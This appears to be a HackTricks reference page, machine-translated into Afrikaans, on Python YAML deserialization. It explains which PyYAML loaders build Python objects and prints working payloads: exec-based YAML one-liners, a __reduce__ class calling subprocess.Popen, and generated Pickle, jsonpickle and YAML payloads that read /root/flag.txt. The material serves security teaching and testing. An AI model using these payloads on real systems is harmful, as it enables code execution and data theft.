Python Yaml Deserialization

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Yaml Deserialisasie

Yaml Python biblioteke is ook in staat om Python-voorwerpe te deserialiseer en nie net rou data nie:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Kyk hoe die tuple nie 'n rou tipe data is nie en daarom was dit geserializeer. En dieselfde het gebeur met die range (geneem van die builtins).

safe_load() of safe_load_all() gebruik SafeLoader en ondersteun nie die deserialisering van klassieke voorwerp nie. Voorbeeld van die deserialisering van 'n klassieke voorwerp:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Die vorige kode het unsafe_load gebruik om die geserializeerde Python-klas te laai. Dit is omdat in weergawe >= 5.1, dit nie toelaat om enige geserializeerde Python-klas of klasattribuut te deserialiseer nie, met Loader nie gespesifiseer in load() of Loader=SafeLoader.

Basiese Uitbuiting

Voorbeeld van hoe om 'n slaap uit te voer:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Kwesbare .load("<inhoud>") sonder Loader

Ou weergawes van pyyaml was kwesbaar vir deserialisasie aanvalle as jy nie die Loader spesifiseer nie wanneer jy iets laai: yaml.load(data)

Jy kan die beskrywing van die kwesbaarheid hier** vind.** Die voorgestelde uitbuiting op daardie bladsy is:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Of jy kan ook hierdie een-liner wat deur @ishaack verskaf is gebruik:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Merk op dat in onlangse weergawes jy nie meer .load() kan roep sonder 'n Loader nie en die FullLoader is nie meer vatbaar vir hierdie aanval nie.

RCE

Aangepaste vragte kan geskep word met behulp van Python YAML-modules soos PyYAML of ruamel.yaml. Hierdie vragte kan kwesbaarhede in stelsels uitbuit wat onbetroubare insette deserialiseer sonder behoorlike sanitisering.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Gereedskap om Lading te Skep

Die gereedskap https://github.com/j0lt-github/python-deserialization-attack-payload-generator kan gebruik word om Python deserialisasie ladinge te genereer om Pickle, PyYAML, jsonpickle en ruamel.yaml te misbruik:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated